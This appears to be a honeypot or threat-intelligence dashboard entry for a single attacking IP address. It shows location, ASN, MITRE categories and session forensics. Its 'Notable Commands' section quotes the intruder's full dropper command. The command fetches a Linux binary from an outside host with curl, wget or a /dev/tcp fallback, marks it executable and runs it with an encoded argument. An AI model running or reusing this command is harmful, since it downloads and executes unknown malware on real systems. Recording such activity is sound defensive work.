← Back to feed
106.14.69.206
Location
🇨🇳 CN / Shanghai
ASN
AS37963 · Hangzhou Alibaba Advertising Co.,Ltd.
Cloud Provider
—
Total Events
11
Average by volume
Agent Count
1
First / Last Seen
2026-06-02 04:42 — 2026-06-02 04:42
Attack Types
MITRE ATT&CK Techniques
Initial Access
Execution
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
1 (1 with login)
Avg Depth Score
0.6
Commands Executed
3
Files Downloaded
0
Notable Commands
- echo 1 && cat /bin/echo
- nohup $SHELL -c "curl http://8.210.160.2:60106/linux -o /tmp/gOYQIn8Eye; if [ ! -f /tmp/gOYQIn8Eye ]; then wget http://8.210.160.2:60106/linux -O /tmp/gOYQIn8Eye; fi; if [ ! -f /tmp/gOYQIn8Eye ]; then exec 6<>/dev/tcp/8.210.160.2/60106 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/gOYQIn8Eye ; chmod +x /tmp/gOYQIn8Eye && /tmp/gOYQIn8Eye zScb2Fsko1zBy58bLhSUwNlYpyZFzxcpvr41Ad5CIrhZ2sqXGzAcnMvPXKE4TdkBNrS7KR7fQyygWN7KnQ04A5/L2EakJ1veGDK2ujce30w2rkbdy50DMRqV1NtYrCBF3hw2rLgwAd1BJLhe2dScHzMXm8reWqI2QdgBP7+iNR/cWyeuW9XMnRwzFY3O2EakJUzBHTK/oj8Y1UMmp1vX2p4bLhyeycFZpCBb1xs9urw2HN5VIqFG3cmUAzEUntTeUKUsQ98eNr+sNh/dWySnUMHInBguFJnA2VinJEXPGzCitDEB3EY4p1HawJsdMR6d2ttfuCRG1gEzvqI1HttPIKZZ3cmNGTcDlczBWaEgW9ofPbq8NhvaVSKhRt3JlQM1GoPI2l2sIEXeHjKstCkd3kU4p17f1J8XNh2cytlIoiFb3Rw+or0+HcFEJqFS2cqcGTANnMrZRqciW9kWKb68MRXZRSemXc/JlAMxHZjU3lugOEffGz26vDYd31UnoFrByJgcLhSe1N5ZpCxD3x41vawzGMFCILhf1tSfHzAXm8reXKc2TcEdNryiNhjXWyKmUtnKnB4xDZXU3VmuOEfcGym5vD0Z30QlpkjbzYMVMwOcyNtGpyRE1Rk3vbwyD9tCOKRb2dScGy4Ym8DZWKcnTc8bMKK+NBbBRC+kRt7Kmhc2HZzO30iiIVvdGjWivTYB2UUsoFjeyJsNNBqDwtlGpC5b2xg9urw2HN5VJ6NcwcOcAzgeg8LVXqYnQdoPM7uiPxnBRC6hRt7Kmxc2HZzK3zr/MStXBWaOLfWfqQyEMg/C5vATIsQe+Lbv9g==; fi; echo password > /tmp/.opass; chmod +x /tmp/gOYQIn8Eye && /tmp/gOYQIn8Eye zScb2Fsko1zBy58bLhSUwNlYpyZFzxcpvr41Ad5CIrhZ2sqXGzAcnMvPXKE4TdkBNrS7KR7fQyygWN7KnQ04A5/L2EakJ1veGDK2ujce30w2rkbdy50DMRqV1NtYrCBF3hw2rLgwAd1BJLhe2dScHzMXm8reWqI2QdgBP7+iNR/cWyeuW9XMnRwzFY3O2EakJUzBHTK/oj8Y1UMmp1vX2p4bLhyeycFZpCBb1xs9urw2HN5VIqFG3cmUAzEUntTeUKUsQ98eNr+sNh/dWySnUMHInBguFJnA2VinJEXPGzCitDEB3EY4p1HawJsdMR6d2ttfuCRG1gEzvqI1HttPIKZZ3cmNGTcDlczBWaEgW9ofPbq8NhvaVSKhRt3JlQM1GoPI2l2sIEXeHjKstCkd3kU4p17f1J8XNh2cytlIoiFb3Rw+or0+HcFEJqFS2cqcGTANnMrZRqciW9kWKb68MRXZRSemXc/JlAMxHZjU3lugOEffGz26vDYd31UnoFrByJgcLhSe1N5ZpCxD3x41vawzGMFCILhf1tSfHzAXm8reXKc2TcEdNryiNhjXWyKmUtnKnB4xDZXU3VmuOEfcGym5vD0Z30QlpkjbzYMVMwOcyNtGpyRE1Rk3vbwyD9tCOKRb2dScGy4Ym8DZWKcnTc8bMKK+NBbBRC+kRt7Kmhc2HZzO30iiIVvdGjWivTYB2UUsoFjeyJsNNBqDwtlGpC5b2xg9urw2HN5VJ6NcwcOcAzgeg8LVXqYnQdoPM7uiPxnBRC6hRt7Kmxc2HZzK3zr/MStXBWaOLfWfqQyEMg/C5vATIsQe+Lbv9g==" &
- head -c 8308096 > /tmp/bkyD9xDIwa
Fingerprints
HASSH
SSH Client
Evidence Timeline
Reconnaissance
b6dddf635309
LOGIN
3
2
60%
Loading events...
HASSH 2f5ebb184f5d023…
SSH-2.0-makiko
$ echo 1 && cat /bin/echo$ nohup $SHELL -c "curl http://8.210.160.2:60106/linux -o /tm…$ head -c 8308096 > /tmp/bkyD9xDIwa